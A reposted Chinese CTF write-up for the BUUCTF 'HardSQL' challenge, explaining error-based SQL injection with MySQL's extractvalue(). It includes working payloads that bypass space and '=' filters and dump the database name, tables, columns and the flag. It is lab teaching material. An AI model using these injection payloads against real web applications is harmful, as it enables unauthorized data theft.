ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

[极客大挑战 2019]HardSQL 1-SQL报错注入

2021-07-07 15:31:53  阅读:274  来源: 互联网

标签:0x5c 极客 extractvalue HardSQL 报错 select payload concat


[极客大挑战 2019]HardSQL

试题地址:http://94d112f4-9aed-4f3e-b2ff-0c98f30a81b9.node4.buuoj.cn/

  1. 先进行常规SQL注入:‘,’‘,order by,or and union

    先进行简单测试,发现密码框可能存在SQL注入,然后进行以下测试,发现都是这个页面。

常规测试payload:    //如下payload都是在密码框内测试
2' or '1'='1
2' or '1'='2
2' order by 3#
2' union select 1,2,3#

然后我们判断这道题是报错注入extractvalue()updatexml()

这两个函数讲解参考以下链接:

https://cloud.tencent.com/developer/article/1740429

我们这个题用的是extractvalue,我就简单的介绍一下这个函数。

extractvalue()

语法:extractvalue(目标xml文档,xml路径)

第一个参数:第一个参数可以传入目标XML文档

第二个参数:xml中的位置是可操作的地方,xml文档中查找字符位置是用/xxx/xxx/xxx...这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

​ 如果正常查询的话 第二个参数的位置格式为/xxx/xxx/xxx...,即使查询不到也不会报错

tips:要注意的是,它能够查询的字符串长度最大是32个字符,如果超过32位,就需要用函数来查询:

比如left(),right(),substr()来截取字符串

举个例子:

select extractvalue('<a><b></b></a>','/a/b'); 这个语句就是寻找前面一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误,就会报错,这里就是利用这个特性来获得我们想要知道的内容。

利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出

百度了web 的骚操作
用’^'来连接函数,形成异或
这边用的是extractvalue()

我们在测试的时候发现这题目还过滤了空格,百度了解了一下用括号来代替空格就能绕过了

我们先构造payload爆数据库名:geek

2'^extractvalue(1,concat(0x5c,(select(database()))))#

然后构造payload爆该数据库的表:

2'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek'))))#

我们用这个payload发现出来的页面还是这个:

猜测应该是=也被过滤了,然后百度了解了一下可以用like代替=,我们修改一下payload:

2'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#

发现爆出表:H4rDsq1

然后我们构造paylaod爆出表的列:id,username,password

2'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#

我们查看一下每个列里面的内容:

发现id里面只有一个1,username里面有/flag,而password里面有flag值,这里只演示获取password列里面的内容:

构造payload:

2'^extractvalue(1,concat(0x5c,(select(password)from(geek.H4rDsq1))))#

然后我们发现只有一般的flag,看上面tips,所以我们用left(),right()个查看一次构造完整的flag

2'^extractvalue(1,concat(0x5c,(select(left(password,30))from(geek.H4rDsq1))))#

2'^extractvalue(1,concat(0x5c,(select(right(password,30))from(geek.H4rDsq1))))#

最后两边对比去除多余的得出flag!!


标签:0x5c,极客,extractvalue,HardSQL,报错,select,payload,concat
来源: https://www.cnblogs.com/tzf1/p/14981667.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有